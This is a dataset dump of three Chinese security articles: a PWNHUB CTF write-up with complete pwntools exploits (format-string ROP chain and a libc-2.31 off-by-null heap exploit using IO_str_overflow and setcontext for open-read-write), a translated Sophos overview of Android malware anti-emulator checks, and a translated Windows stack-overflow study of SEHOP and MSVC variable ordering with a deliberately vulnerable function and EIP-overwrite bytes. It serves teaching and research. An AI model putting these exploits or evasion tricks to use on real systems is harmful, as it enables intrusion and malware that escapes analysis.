text
stringlengths 100
9.93M
| category
stringclasses 11
values |
|---|---|
# PWNHUB双蛋赛pwn题解
|
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
pwnhub的2道pwn题目，一道格式化字符串的题目，一道libc-2.31的堆题目。题目的逆向量都不大，程序分析起来比较容易，更关注的是利用的手法。下面直接进入正题。
## 公开赛题目
### 0x00 程序分析&&漏洞分析
一打开就看到了挺烦人的prctl的函数，进行了沙箱设置，使用seccomp工具进行分析
//seccomp-tools dump ./easypwn
line CODE JT JF K
=================================
0000: 0x20 0x00 0x00 0x00000004 A = arch
0001: 0x15 0x00 0x05 0xc000003e if (A != ARCH_X86_64) goto 0007
0002: 0x20 0x00 0x00 0x00000000 A = sys_number
0003: 0x35 0x00 0x01 0x40000000 if (A < 0x40000000) goto 0005
0004: 0x15 0x00 0x02 0xffffffff if (A != 0xffffffff) goto 0007
0005: 0x15 0x01 0x00 0x0000003b if (A == execve) goto 0007
0006: 0x06 0x00 0x00 0x7fff0000 return ALLOW
0007: 0x06 0x00 0x00 0x00000000 return KILL
可以看到禁用了execve函数，需要使用orw来读取flag
程序漏洞点很明确，格式化字符串的漏洞，关键代码如下：
read(0, &buf, 0x18uLL);//读取0x18的字符串到stack的buf上
strcpy((char *)&unk_202060 + 0x24 * (signed int)a1, (const char *)&buf);//复制到bss段上
printf((const char *)&unk_202060 + 0x24 * (signed int)a1, &buf);//格式化字符串漏洞
可以发现，虽然看起来是bss段上的格式化字符串漏洞，但是，首先在stack上写入了数据，所以说，就和正常的stack上的格式化字符串一样，可以任意读写，需要注意的是size=0x18，这个是比较受限的。
有了任意读写，我们可以获取到libc、pie、satck的值，但是由于沙箱规则的限制，需要写入大量的值，需要反复触发格式化字符串的漏洞，但是，如下所示，程序只给了我们2次触发机会。
signed int i;
for ( i = 0; i <= 1; ++i )
vuln(i);
然后关键的问题就落到如何构造循环上来了。
这里的思路如下：
//stack上的返回地址
.text:0000000000000D4D add [rbp+var_8], 1
//修改为
.text:0000000000000D3A mov [rbp+var_8], 0
这样的话，每第二次循环我们作如上的修改，就可以做到循环，每两次获得一次任意读写的机会。
### 0x01 exploit
经过上述的分析，利用思路已经相对清晰了，基本的利用步骤如下：
1. 第一次触发格式化字符串漏洞来泄漏stack、pie&&libc的相关信息
2. 第二次修改返回地址0x4d为0x3a，将i的值再次置0
.text:0000000000000D4D add [rbp+var_8], 1
//stack上的返回地址修改为
.text:0000000000000D3A mov [rbp+var_8], 0
依此类推，获得多次的任意写。
3. 在bss上写入orw的rop。
4. 最后进行栈迁移执行rop，得到flag。
具体的细节可以参考下面的exp脚本。
### 0x02 myexp
具体的exp脚本如下，写起来还是挺繁琐的。
from pwn import *
context.log_level = 'debug'
def debug():
print pidof(p)
pause()
def write(addr,val):
value = str(val).rjust(6,'0')
#offset = str(offset).rjust(4,'0')
if val == 0:
name = '%' + '0010' + '$hn'+'a'*8 + p64(addr)
else:
name = '%' + value + 'c' + '%' + '0010' + '$hn' + p64(addr)
p.sendafter('name?',name)
p.sendlineafter("how old are you??",str(100))
#in order to the next loop
name='%'+str(0x3a)+"c"+"%10$hhnaaaaa"+p64(stack-0x18)
p.sendafter('name?',name)
p.sendlineafter("how old are you??",str(100))
def write_addr(offset,val):
write(pie+0x202500+offset,val&0xffff)
write(pie+0x202500+offset+2,(val>>16)&0xffff)
write(pie+0x202500+offset+4,(val>>32)&0xffff)
def write_stack_addr(offset,val):
write(stack+offset,val&0xffff)
write(stack+offset+2,(val>>16)&0xffff)
write(stack+offset+4,(val>>32)&0xffff)
#p=process('./easypwn')
p=remote('139.217.102.146',33865)
debug()
#leak stak libc && pie
#test 0x7ffe4279d630 0x7fcf97582840
p.sendafter('name?','%19$p%14$p%18$p')
p.recvuntil('0x')
libcbase=int(p.recv(12),16)-0x20840
log.success("libc -->"+hex(libcbase))
p.recvuntil('0x')
stack=int(p.recv(12),16)
log.success("stack -->"+hex(stack))
p.recvuntil('0x')
pie=int(p.recv(12),16)-0xd70
log.success("pie -->"+hex(pie))
p.sendlineafter("how old are you??",str(100))
debug()
## make loop \x00 -- is iok
name='%'+str(0x3a)+"c"+"%10$hhnaaaaa"+p64(stack-0x18)
p.sendafter('name?',name)
p.sendlineafter("how old are you??",str(100))
pop_rdi=0x0000000000021112+libcbase
pop_rsi=0x00000000000202f8+libcbase
pop_rdx=0x0000000000001b92+libcbase
open_addr = 0xf70f0 + libcbase
read_addr = 0xf7310 + libcbase
puts_addr = 0x6f6a0 + libcbase
leave_ret_addr = 0x0000000000042361 + libcbase
#log.success("pop_rdi is " + hex(pop_rdi))
#write(stack+8,pop_rdi&0xffff)
#write(stack+8+2,(pop_rdi>>16)&0xffff)
#write(stack+8+2+2,(pop_rdi>>32)&0xffff)
write_addr(8,pop_rdi)
write_addr(0x10,pie+0x202060)#./flag
write_addr(0x18,pop_rsi)
#write_addr(0x20,0)
write_addr(0x28,open_addr)
write_addr(0x30,pop_rdi)
write_addr(0x38,3)
write_addr(0x40,pop_rsi)
write_addr(0x48,pie+0x202060)
write_addr(0x50,pop_rdx)
write_addr(0x58,0x50)#once
write_addr(0x60,read_addr)
write_addr(0x68,pop_rdi)
write_addr(0x70,pie+0x202060)
write_addr(0x78,puts_addr)
write_stack_addr(0,pie+0x202500)
write_stack_addr(8,leave_ret_addr)
p.sendafter('name?','./flag\x00')
p.sendlineafter("how old are you??",str(100))
p.sendafter('name?','./flag\x00')
p.sendlineafter("how old are you??",str(100))
debug()
p.interactive()
//flag{48e13dc24d00405599522395a6160972}
最终拿到flag
## 内部赛题目
### 0x00 程序分析&&漏洞分析
同样的也设置了沙箱规则，禁用了execve，同样的需要orw来读取flag
line CODE JT JF K
=================================
0000: 0x20 0x00 0x00 0x00000004 A = arch
0001: 0x15 0x00 0x09 0xc000003e if (A != ARCH_X86_64) goto 0011
0002: 0x20 0x00 0x00 0x00000000 A = sys_number
0003: 0x35 0x07 0x00 0x40000000 if (A >= 0x40000000) goto 0011
0004: 0x15 0x06 0x00 0x00000029 if (A == socket) goto 0011
0005: 0x15 0x05 0x00 0x0000002a if (A == connect) goto 0011
0006: 0x15 0x04 0x00 0x00000031 if (A == bind) goto 0011
0007: 0x15 0x03 0x00 0x00000032 if (A == listen) goto 0011
0008: 0x15 0x02 0x00 0x00000038 if (A == clone) goto 0011
0009: 0x15 0x01 0x00 0x0000003b if (A == execve) goto 0011
0010: 0x06 0x00 0x00 0x7fff0000 return ALLOW
0011: 0x06 0x00 0x00 0x00000000 return KILL
经典的堆菜单题目，下面对程序的基本功能进行简单的分析：
* add：添加一个堆块，要求size<=0x200，最大数量为20个，可以读入size大小的数据，add功能的限制相对比较宽松。
* exit：执行exit函数退出
* delete：这里又提供了2种选择，show和edit
这里以edit为例进行简单的分析，show和edit是完全一致的：
_free_hook = (__int64)edit;//首先是对__free_hook的值进行设置
//edit函数
void __fastcall edit(char *a1)
{
int v1; // [rsp-Ch] [rbp-Ch]
__asm { endbr64 }
_free_hook = 0LL;
v1 = *(a1 - 8) - 9;
printf("Info:");
if ( v1 > 1 ) // check
{
read(0, a1, v1 - 1);
a1[v1] = 0; // off by null
}
free(a1);
}
大致的逻辑就是设置__free_hook为edit或者show函数，先执行edit、show函数然后再free
ptr[v2] = 0LL;
size_[v2] = 0LL;
指针和size都做了清0的处理，不存在uaf的问题。
该题目的漏洞点在于上述的edit功能中。试想一下，有个大小为0x20的chunk，如果前一个堆块不是free状态，那么他的size=0x21，v1=0x21-9=0x18，写入大小0x18的数据，然后a1[0x18]=0，这里就出现了问题，off
by null的漏洞。
### 0x01 exploit
现在整理一下思路，首先考虑泄漏地址的问题。通过数据信息的残留，可以比较轻易的获得libcbase和heap
addr。那么，最关键的问题就是libc-2.31下的off by null的利用以及orw绕过沙箱机制。
#### off by null的利用
这里，已经有很多师傅对libc-2.31的增添的保护机制进行了深入的分析，主要是添加了presize和size的check，如果大小不一致的话，就会报错。这就使得之前版本的利用思路失效了。
这里，采用了如下的绕过思路：在chunk中伪造一个chunk，主要是伪造size、fd、bk的值，size写成presize，而fd=bk写成伪造的chunk的heap
addr，如下图所示
pwndbg> x/20xg 0x55c1a0806140
0x55c1a0806140: 0x6161616161616161 0x0000000000000151
0x55c1a0806150: 0x0000000000000000 0x0000000000000371//fake chunk
0x55c1a0806160: 0x000055c1a0806150 0x000055c1a0806150
0x55c1a0806170: 0x6161616161616161 0x6161616161616161
0x55c1a0806180: 0x6161616161616161 0x6161616161616161
然后就可以正常写入presize并触发off by null的漏洞，然后free堆块，就构成chunk overlap。
#### orw沙箱绕过
目前我已知的libc-2.31的orw沙箱绕过思路有2种，有其他思路的师傅也欢迎交流。
一种是借助free_hook，写入一个ropgaget，将rdi转换成rdx，然后借助set_context函数来实现。就本题来说，无法利用free_hook，这里的free_hook是在bss段上的，而我们无法泄漏地址。
这里我们使用另一种利用方式，malloc_hook+io劫持来实现orw的执行。这里，推荐一篇其他师傅的分析文章，写的很详细：
[link](https://gist.github.com/Mech0n/43bb087bfe0fbe9f80dbccb815f5cab3)
主要的利用链是这样的：
exit函数触发-->_IO_cleanup()-->_IO_flush_all_lockp()-->_IO_str_overflow
//触发__malloc_hook
在_IO_str_overflow (FILE *fp, int c)种会调用 new_buf = malloc (new_size);
//rdi-->rdx，方便后面set_context的利用，这里的rdi就是stdin(fp)
0x7ffff7e62b65 <__GI__IO_str_overflow+53>: mov rdx,QWORD PTR [rdi+0x28]
这一部分的关键payload如下，需要绕过那些关键check都在下面做了相关注释：
payload = b'\x00'*0x28#把flag处的值设置为\x00,绕过代码中的很多check
#fp->_mode <= 0 && fp->_IO_write_ptr > fp->_IO_write_base)
payload += p64(stdin + 0xe0)#_IO_write_ptr && rdi+0x28-->rdx
payload = payload.ljust(0xd8,b'\x00')
payload += p64(libcbase + 0x1ed560)#_IO_str_jumps 为了执行的是_IO_str_overflow
payload += orw
payload = payload.ljust(0x1f0,b'\x00')
payload += p64(libcbase+0x0000000000580DD)#malloc_hook-->set_context
### 0x02 myexp
具体的exp如下所示：
from pwn import *
context.log_level='debug'
def debug():
print(pidof(p))
pause()
def choice(i):
p.sendlineafter('choice:',str(i))
def add(n,s):
choice(1)
p.sendlineafter('Size of info:',str(n))#n<=0x200
p.sendafter('Info:',s)
def show(i):
choice(2)
p.sendlineafter('index:',str(i))
choice(2)
def edit(i,s):
choice(2)
p.sendlineafter('index:',str(i))
choice(1)
p.sendafter('Info:',s)
#libc.so is correct
#p=remote('139.217.102.146',65386)
p=process('./pwn')
libc=ELF('/usr/lib/x86_64-linux-gnu/libc-2.31.so')
for i in range(0x8):
add(0x1f0,b'a'*0x1f0)
add(0x60+0x1a0,b'a'*0x60)#index=8 size=0x70
add(0x10,b'a'*0x10)#index=9 size=0x20
add(0x1f0,b'a'*0x1f0)#index=10 size=0x210
add(0x1f0,b'a'*0x1e0 + b'./flag\x00')#index=11 size=0x210
add(0x200,b'a'*0x200)#index=12
#leak heap address
show(0)
show(1)
add(0x1f0,b'a')
show(0)
p.recvuntil('a')
heap=u64((b'\x00'+p.recv(5)).ljust(8,b'\x00'))-(0x0000563c8e9c1200-0x563c8e9c1000)
log.success('heap address-->'+ hex(heap))
#debug()
#leak libcbase
for i in range(2,0x8):
show(i)
#add(0xe0,b'a'*8)
add(0xa0,b'a'*8)
show(0)
p.recvuntil(b'a'*8)
libcbase=u64(p.recv(6).ljust(8,b'\x00'))-(0x00007fd0cccfbdd0-0x7fd0ccb10000)
#off by null
#only rest index=8,9,10,11
#0x100-->0x150 0x150+0xb0=0x200
add(0x140,p64(0)+p64(0x191+0x40+0x1a0)+p64(heap+(0x5609760e2190-0x5609760e1000-0x40))+p64(heap+(0x5609760e2190-0x5609760e1000-0x40)))#0
debug()
edit(9,b'a'*0x10+p64(0x190+0x40+0x1a0))
show(10)#get overlap
#orw
stdin = libcbase + (0x7f277caba980-0x7f277c8cf000)
ret=0x0000000000025679+libcbase
pop_rdi=libcbase+0x0000000000026b72
pop_rsi=libcbase+0x0000000000027529
pop_rdx_rbx=libcbase+0x0000000000162866
flag = heap + 0x565150050530 + 0x1e0 - 0x56515004f000 + 0x1a0
orw = p64(pop_rdi)+p64(flag)+p64(pop_rsi)+p64(0)+p64(libc.symbols['open']+libcbase)
orw += p64(pop_rdi)+p64(3)+p64(pop_rsi)+p64(flag)+p64(pop_rdx_rbx)+p64(0x50)+p64(0)+p64(libc.symbols['read']+libcbase)
orw += p64(pop_rdi)+p64(flag)+p64(libc.symbols['puts']+libcbase)
if len(orw) > 0xa0:
print("orw too long ")
pause()
orw = orw.ljust(0xa0,b'\x00')
orw += p64(stdin + 0xe0) + p64(ret)
#stdin = libcbase + (0x7f277caba980-0x7f277c8cf000)
payload = b'\x00'*0x28
payload += p64(stdin + 0xe0)#_IO_write_ptr && rdi+0x28-->rdx
payload = payload.ljust(0xd8,b'\x00')
payload += p64(libcbase + 0x1ed560)#_IO_str_jumps
payload += orw
payload = payload.ljust(0x1f0,b'\x00')
payload += p64(libcbase+0x0000000000580DD)#malloc_hook-->set_context
show(12)
show(8)
add(0x130,b'a')
add(0x50,p64(stdin))#fd-->stdin
add(0x200,b'a')
add(0x200,payload)
debug()
p.interactive()
然后拿到flag
最后，如果文中有什么错误请各位师傅指出；如果有更好的思路欢迎交流分享。 | 社区文章 |
# 【技术分享】Android恶意软件模拟器检测技术
|
##### 译文声明
本文是翻译文章，文章来源：sophos.com
原文地址：<https://news.sophos.com/en-us/2017/04/13/android-malware-anti-emulation-techniques/>
译文仅供参考，具体内容表达以及含义原文为准。
****
**翻译：[ 大脸猫](http://bobao.360.cn/member/contribute?uid=52887766)**
**预估稿费：300RMB**
**投稿方式：发送邮件至linwei#360.cn，或登陆网页版在线投稿**
**
**
**前言**
下面的报告来自SophosLabs实验室的Android安全专家陈宇，还有来自Android组的成员William Lee, Jagadeesh
Chandraiah and Ferenc László Nagy的帮助。
随着Android恶意软件的数量的持续增长，它紧随Windows下的应用采用的用于逃脱模拟器的技术，用来防止被动态分析。在这篇文章中，我们将展示一些用于模拟器检测的技术。
模拟器是一种可以允许一台电脑（主机）模拟另外一台电脑（客户机）的硬件或软件。通常，它允许主机系统运行软件或者使用外部设备来模拟器客户机系统。在安全方面，用它很容易检测恶意软件的行为，这也是为什么恶意软件的作者很想避免运行于模拟器。
模拟器检测技术在许多不同的Android恶意软件家族中均被发现了，最近的一款是在Google Play发现的Android加载广告的恶意软件。
于是，下面是SophosLabs实验室发现的6中常用的模拟器检测技术：
**1\. 检测手机服务信息**
所有模拟器检测的关键是确定模拟器和真机设备的运行环境之间的差异。首先，模拟器上面的设备ID、手机号、IMEI号和IMSI号都不同于真机设备。android.telephony.TelephonyManager类提供了用于获取设备信息的方法。Android应用程序可以通过该类里面的方法用于检测手机服务和状态，访问一些运行商信息，注册用于接收手机状态变化通知的监听器。例如，你能用getLine1Number方法来获取卡1上的手机号信息。在模拟器上面，它将是“1555521”后面紧跟模拟器端口数字。例如如果模拟器端口是5554，它将返回15555215554。
Andr/RuSms-AT使用下面这种代码用于检测模拟器：
**2\. 检测制造商信息**
我们发现许多恶意软件家族通过检测制造商信息来判断它是否运行在模拟器中。例如，下面这款银行类的恶意软件使用如下的模拟器检测代码：
其中的字符串被加密了，解密后的内容如下：
上面的方法是被一个广播接收器调用的。在这款APP的manifest文件中，这个广播接收器被定义为用于接收android.intent.action.BOOT_COMPLETED和
android.intent.action.SCREEN_ON事件。这意味着它将在手机启动时或者被唤醒时调用。这是恶意软件常用来启动它们恶意行为的地方。但是，这款恶意软件在模拟器检测函数返回true时将什么都不做，如下所示：
**3\. 检测系统属性**
另外一种方法是检测系统属性。模拟器上面的一些系统属性和真机上面的不同。例如，设备厂商、硬件和model。下面这张表展示了模拟器上面一些系统属性的值：
**4\. 检测模拟器相关文件**
这是另外一种在恶意软件样本中使用的技术。它们检测QEMU (Quick
Emulator)或者其他模拟器相关的文件是否存在。例如，下面的代码片段在Andr/Pornclk变种中发现的。
**5\. 检测调试器和安装器**
下面这种方法不是为了检测模拟器，但是主要目的也是为了阻止动态分析。像下面这款诈骗广告软件，它使用Debug.isDebuggerConnected()和Debug.waitingForDebugger()来检测是否存在调试器。更有趣的是，它同时也通过getInstallerPackageName获取安装器来查看它是否是通过Google
Play安装的（com.android.vending）。因此，像大部分的逆向分析者一样，如果你是通过adb安装应用程序到设备上的，这个应用程序就不会运行了。
**6\. 时间炸弹**
下面是另外的一种方法，许多恶意软件/广告软件利用这种方法在被动态分析时隐藏它们自身。在安装后，它们在等待指定的时间后才启动Activities。例如，某款恶意广告软件中发现了下面的配置文件：
“settings”: {
“adDelay”: 180000,
“firstAdDelay”: 86400000,
“unlockDelay”: 2,
“bannerDelay”: 180000,
“bannerPreDelay”: 10000,
“bannersPerDay”: 25
},
firstAdDelay是第一条广告被投递到客户端的毫秒时间，在上面的例子中是24小时。这也可以防止用户怀疑。
我们相信，android恶意软件和恶意广告软件的作者将会继续编写模拟器检测技术的代码，同时他们也已经获得了一定程度的成功。安全公司必须使用较好的检测方法匹配它们。
**参考引用**
<https://github.com/strazzere/anti-emulator>
<http://blog.checkpoint.com/2017/03/08/skinner-adware-rears-ugly-head-google-play/> | 社区文章 |
# Windows内存破坏漏洞的现代探索，Part I：堆栈溢出（四）
|
##### 译文声明
本文是翻译文章，文章原作者 forrest-orr，文章来源：forrest-orr.net
原文地址：<https://www.forrest-orr.net/post/a-modern-exploration-of-windows-memory-corruption-exploits-part-i-stack-overflows>
译文仅供参考，具体内容表达以及含义原文为准。
在上一篇文章中，我们为读者解释了ROP链的创建过程，以及执行任意代码的实现过程，在本文中，我们继续为读者介绍针对SEH劫持技术的一种强大的防御机制，即SEHOP。
## SEHOP
实际上，在Windows中还有一种更为强大的SEH劫持缓解机制，称为SEH覆写保护（SEH Overwrite
Protection，SEHOP），它可以抗衡这里描述的方法。引入SEHOP的目的，是为了既可以检测EXCEPTION_REGISTRATION_RECORD损坏，又无需重新编译应用程序或依靠每个模块的漏洞利用缓解方案，如SafeSEH。为此，SEHOP将在SEH链的底部引入一个额外的链接，并在异常发生时通过检查是否可以通过遍历SEH链而到达该链接，来实现SEH劫持的防御机制。由于EXCEPTION_REGISTRATION_RECORD的NSEH字段存储在handler字段之前，因此，在通过堆栈溢出破坏现有的SEH
handler时，必然会破坏NSEH，以及破坏整个链（原理上类似于堆栈金丝雀（stack
canary），其中金丝雀就是NSEH字段本身）。SEHOP是在Windows Vista SP1（在默认情况下禁用）和Windows Server
2008（在默认情况下启用）中引入的，在过去的十年中，SEHOP一直处于这种半启用状态（在工作站上禁用，在服务器上启用）。值得注意的是，最近随着Windows
10 v1709的发布，这种情况已经发生了变化：SEHOP已经成为默认启用的漏洞缓解功能了。
图27 来自WIndows 10上的Windows安全中心的SEHOP设置
这似乎与上一节在Windows
10虚拟机上探讨的SEH劫持溢出情况相矛盾。为什么SEHOP没有能够在exploit的初始阶段阻止EIP重定向到堆栈pivot？虽然我们还不是十分清楚，然而这似乎是微软方面配置错误的问题。当我对之前探索溢出所用EXE程序单独进行设置，并手动点选“Override
system
settings”框后，SEHOP机制就开始发挥威力：堆栈pivot将无法执行。令人费解的是，在默认情况下，系统已经在该进程上启用了SEHOP机制。
图28 在用于演示堆栈溢出漏洞的EXE程序上设置SEHOP
这有可能是微软方面有意的配置，只是在上面的截图中被曲解了。由于SEHOP与第三方应用程序（如Skype和Cygwin）不兼容，因此，SEHOP在历史上一直被广泛禁用（微软在这里讨论了这个问题）。当SEHOP与本文中讨论的其他漏洞缓解措施一起正确启用时，在没有链式内存泄漏（任意读取）或任意写入原语的情况下，SEH劫持将无法用于利用堆栈溢出漏洞。任意读取原语可以允许NSEH字段在溢出前被泄漏，这样就可以制作溢出数据，以便在EIP劫持期间不破坏SEH链。通过任意写入原语（在下一节讨论），攻击者可以覆盖存储在栈上的返回地址或SEH
handler，而不会破坏NSEH或堆栈金丝雀的值，从而绕过SEHOP和堆栈Cookie缓解措施。
## 任意写入&局部变量破坏
在某些情况下，攻击者根本就不需要溢出函数堆栈帧的末尾来触发EIP重定向。如果他们可以在不需要覆盖堆栈Cookie的情况下成功地获得代码执行权限，那么堆栈Cookie验证检查就可以轻松绕过。为此，有一种方法是使用堆栈溢出来破坏函数中的局部变量，以便让应用程序将我们选择的值写入我们选择的地址。下面的示例函数包含可以用这种方式利用的逻辑。
uint32_t gdwGlobalVar = 0;
void Overflow(uint8_t* pInputBuf, uint32_t dwInputBufSize) {
char Buf[16];
uint32_t dwVar1 = 1;
uint32_t* pdwVar2 = &gdwGlobalVar;
memcpy(Buf, pInputBuf, dwInputBufSize);
*pdwVar2 = dwVar1;
}
图29假设存在任意写栈溢出漏洞的函数
从根本上讲，我们要利用的是一个非常简单的代码模式：
1. 函数必须包含一个容易发生堆栈溢出的数组或结构。
2. 该函数必须包含至少两个局部变量：一个解引用的指针和一个用于写入该指针的值。
3. 函数必须使用局部变量写入解引用的指针，并在堆栈溢出发生后执行这个操作。
4. 函数必须以这样的方式进行编译：即溢出的数组在堆栈上存储的位置比局部变量低。
最后一点是一个值得进一步研究的问题。我们希望MSVC（Visual Studio
2019使用的编译器）以这样的方式编译图29中的代码：Buf的16个字节被放在分配给栈帧内存的最低区域（当包含堆栈Cookie时，应该是总共28个字节），然后是最高区域的dwVar1和pdwVar2。这个顺序与源代码中声明这些变量的顺序是一致的；这允许Buf向前溢出到更高的内存中，并用我们选择的值覆盖dwVar1和pdwVar2的值，从而使我们用于覆盖dwVar1的值被放在我们选择的内存地址上。然而在现实中，情况并非如此，编译器给出的汇编代码如下所示：
push ebp
mov ebp,esp
sub esp,1C
mov eax,dword ptr ds:[<___security_Cookie>]
xor eax,ebp
mov dword ptr ss:[ebp-4],eax
mov dword ptr ss:[ebp-1C],1
mov dword ptr ss:[ebp-18],
mov ecx,dword ptr ss:[ebp+C]
push ecx
mov edx,dword ptr ss:[ebp+8]
push edx
lea eax,dword ptr ss:[ebp-14]
push eax
call
add esp,C
mov ecx,dword ptr ss:[ebp-18]
mov edx,dword ptr ss:[ebp-1C]
mov dword ptr ds:[ecx],edx
mov ecx,dword ptr ss:[ebp-4]
xor ecx,ebp
call <preciseoverwrite.@__security_check_Cookie@4>
mov esp,ebp
pop ebp
ret
图30 图29中假设含有漏洞的函数的编译结果
从上面的反汇编代码中我们可以看到，编译器已经在EBP-0x4和EBP-0x14之间的最高内存部分中选择了一个对应于Buf的区域，并且已经在EBP-0x1C和EBP-0x18的最低内存部分中分别为dwVar1和pdwVar2选择了一个区域。这种排序使易受攻击的函数免受局部变量通过堆栈溢出而损坏的影响。也许最有趣的是，dwVar1和pdwVar2的排序与它们在源代码中相对于Buf的声明顺序相矛盾。这最初让我觉得很不解，因为我认为MSVC会根据变量的声明顺序来排序，但进一步的测试证明事实并非如此。实际上，进一步的测试证明，MSVC并不是根据变量的声明、类型或名称的顺序来排序，而是根据它们在源代码中被引用（使用）次数来排序：引用次数多的变量将优先于那些引用次数少的变量。
void Test() {
uint32_t A;
uint32_t B;
uint32_t C;
uint32_t D;
B = 2;
A = 1;
D = 4;
C = 3;
C++;
}
图31 用于演示反直觉变量排序的C语言代码
因此，我们可以预期这个函数的编译会按以下方式排列变量：C、B、A、D。这符合变量引用(使用)次数的顺序，而不是它们被声明的顺序。其中，C将被放在第一位(内存中最高地址处，距离EBP的偏移量最小)，因为它被引用了两次，而其他变量都只被引用了一次。
push ebp
mov ebp,esp
sub esp,10
mov dword ptr ss:[ebp-8],2
mov dword ptr ss:[ebp-C],1
mov dword ptr ss:[ebp-10],4
mov dword ptr ss:[ebp-4],3
mov eax,dword ptr ss:[ebp-4]
add eax,1
mov dword ptr ss:[ebp-4],eax
mov esp,ebp
pop ebp
ret
图32 图31的C代码对应的汇编代码
果然，我们可以看到，变量都已经按照我们预测的顺序排列，其中，C位于EBP –
4处，也就是排在第一位。尽管如此，MSVC使用的排序逻辑与我们在图30中看到的情况相矛盾。毕竟，dwVar1和pdwVar2的引用次数（各两次）都比Buf高（在memcpy中只有一次），而且都是在Buf之前引用的。那么这是怎么回事呢？GS包含了一个额外的安全缓解功能，它试图安全地对局部变量进行排序，以防止由于堆栈溢出而导致可利用的局部变量破坏。
图33 在GS机制下生成的具有安全变量顺序堆栈布局
绕过在项目设置中禁用GS，会产生以下代码：
push ebp
mov ebp,esp
sub esp,18
mov dword ptr ss:[ebp-8],1
mov dword ptr ss:[ebp-4],
mov eax,dword ptr ss:[ebp+C]
push eax
mov ecx,dword ptr ss:[ebp+8]
push ecx
lea edx,dword ptr ss:[ebp-18]
push edx
call
add esp,C
mov eax,dword ptr ss:[ebp-4]
mov ecx,dword ptr ss:[ebp-8]
mov dword ptr ds:[eax],ecx
mov esp,ebp
pop ebp
ret
图34图29中的源代码在没有使用/GS标志的情况下的编译结果
仔细对比上图34中的汇编代码和图30中的原始（安全）汇编代码，大家就会发现，从这个函数中删除的可不仅仅是堆栈Cookie检查。事实上，MSVC已经完全重新排列了堆栈上的变量，使其与正常规则一致，因此将Buf数组放在了内存的最低区域（EBP
– 0x18）。因此，这个函数现在很容易通过堆栈溢出导致局部变量损坏。
在用多种不同的变量类型（包括其他数组类型）测试了同样的逻辑后，我得出如下结论：MSVC对数组和结构体（GS缓冲区）有一个特殊的规则，即总是将它们放在内存的最高区域，以防止编译后的函数的局部变量因堆栈溢出而遭到破坏。了解到这些信息后，我开始尝试评估这个安全机制的复杂程度，并设法通过边缘案例（edge
cases）来绕过它。我发现了多个，下面是我认为最显著的例子。
首先，让我们来看看如果图29中的memcpy被移除会发生什么情况。
void Overflow() {
uint8_t Buf[16] = { 0 };
uint32_t dwVar1 = 1;
uint32_t* pdwVar2 = &gdwGlobalVar;
*pdwVar2 = dwVar1;
}
图35 包含未引用数组的函数
我们希望MSVC的安全排序规则总是将数组放置在内存的最高区域，以为函数提供安全保护，然而汇编代码表明，事情并非如此。
push ebp
mov ebp,esp
sub esp,18
xor eax,eax
mov dword ptr ss:[ebp-18],eax
mov dword ptr ss:[ebp-14],eax
mov dword ptr ss:[ebp-10],eax
mov dword ptr ss:[ebp-C],eax
mov dword ptr ss:[ebp-8],1
mov dword ptr ss:[ebp-4],
mov ecx,dword ptr ss:[ebp-4]
mov edx,dword ptr ss:[ebp-8]
mov dword ptr ds:[ecx],edx
mov esp,ebp
pop ebp
ret
图36 图35中的源代码对应的汇编代码
如您所见，MSVC已经从函数中删除了堆栈Cookie。同时，MSVC还将Buf数组放在了内存的最低区域，这违背了其典型的安全策略；如果缓冲区未被引用，它将不考虑GS缓冲区的安全重排序规则。这样就提出了一个有趣的问题：何谓引用？令人惊讶的是，答案并不像我们所期望的那样（引用就是函数中对变量的任何使用）。针对某些类型的变量使用并不能算作引用，因此不会影响变量的排序。
void Test() {
uint8_t Buf[16]};
uint32_t dwVar1 = 1;
uint32_t* pdwVar2 = &gdwGlobalVar;
Buf[0] = 'A';
Buf[1] = 'B';
Buf[2] = 'C';
*pdwVar2 = dwVar1;
}
图37 一个被引用了3次的数组和两个被引用了2次的局部变量
在上面的例子中，我们希望Buf被放置在内存的第一个（最高）槽（slot）中，因为它被引用了三次，而dwVar1和pdwVar2各只被引用了两次。这个函数的汇编代码与此相矛盾。
push ebp
mov ebp,esp
sub esp,18
mov dword ptr ss:[ebp-8],1
mov dword ptr ss:[ebp-4],
mov eax,1
imul ecx,eax,0
mov byte ptr ss:[ebp+ecx-18],41
mov edx,1
shl edx,0
mov byte ptr ss:[ebp+edx-18],42
mov eax,1
shl eax,1
mov byte ptr ss:[ebp+eax-18],43
mov ecx,dword ptr ss:[ebp-4]
mov edx,dword ptr ss:[ebp-8]
mov dword ptr ds:[ecx],edx
mov esp,ebp
pop ebp
ret
图38 图37中的源代码对应的汇编代码
尽管Buf是一个数组，而且比其他任何一个局部变量使用得更多，但是，它却被保存在栈内存的最低处EBP–0x18。上面的汇编代码的另一个有趣的细节是，MSVC没有给图38中的函数添加安全Cookie检查。这就意味着，该返回地址仍会受到经典堆栈溢出以及任意写入漏洞的影响。
#include
#include
uint8_t Exploit[] =
"AAAAAAAAAAAAAAAA"// 16 bytes for buffer length
"\xde\xc0\xad\xde"// New EIP 0xdeadc0de
"\x1c\xff\x19\x00"; // 0x0019FF1c
uint32_t gdwGlobalVar = 0;
void OverflowOOBW(uint8_t* pInputBuf, uint32_t dwInputBufSize) {
uint8_t Buf[16];
uint32_t dwVar1 = 1;
uint32_t* pdwVar2 = &gdwGlobalVar;
for (uint32_t dwX = 0; dwX < dwInputBufSize; dwX++) {
Buf[dwX] = pInputBuf[dwX];
}
*pdwVar2 = dwVar1;
}
图39 越界写入漏洞
编译并执行上面的代码会导致一个没有堆栈Cookies和没有进行安全的变量排序的函数，这样的话，攻击者就可以通过精确覆盖0x0019FF1c处的返回地址来劫持EIP（在本例中，我已经禁用了ASLR）。
图40通过越界写入漏洞覆盖返回地址实现EIP劫持
根据这些实验，我们可以得出如下所示的结论：
1. MSVC中存在一个安全漏洞：错误地评估了一个函数对堆栈溢出攻击的潜在敏感性。
2. 这个安全漏洞源于MSVC使用某种形式的内部引用次数来决定变量顺序，而当一个变量的引用次数为零时，它被排除在常规的安全排序和堆栈Cookie安全缓解措施之外（即使它是一个GS缓冲区）。
3. 按索引读/写数组不计入引用次数。因此，以这种方式访问数组的函数将缺乏针对堆栈溢出漏洞的保护。
对于可能无法适当防止堆栈溢出的代码模式，我还有几个其他的想法，首先是结构体/类的概念。虽然函数栈帧内的变量排序没有标准化或约定俗成（完全由编译器决定），但对于结构体来说，情况就不一样了；编译器必须精确地遵循源代码中声明变量的顺序。因此，如果一个结构体中包含一个数组，后面还有额外的变量，这些变量就无法安全地重新排序，因此，可能会因溢出而被破坏。
struct MyStruct {
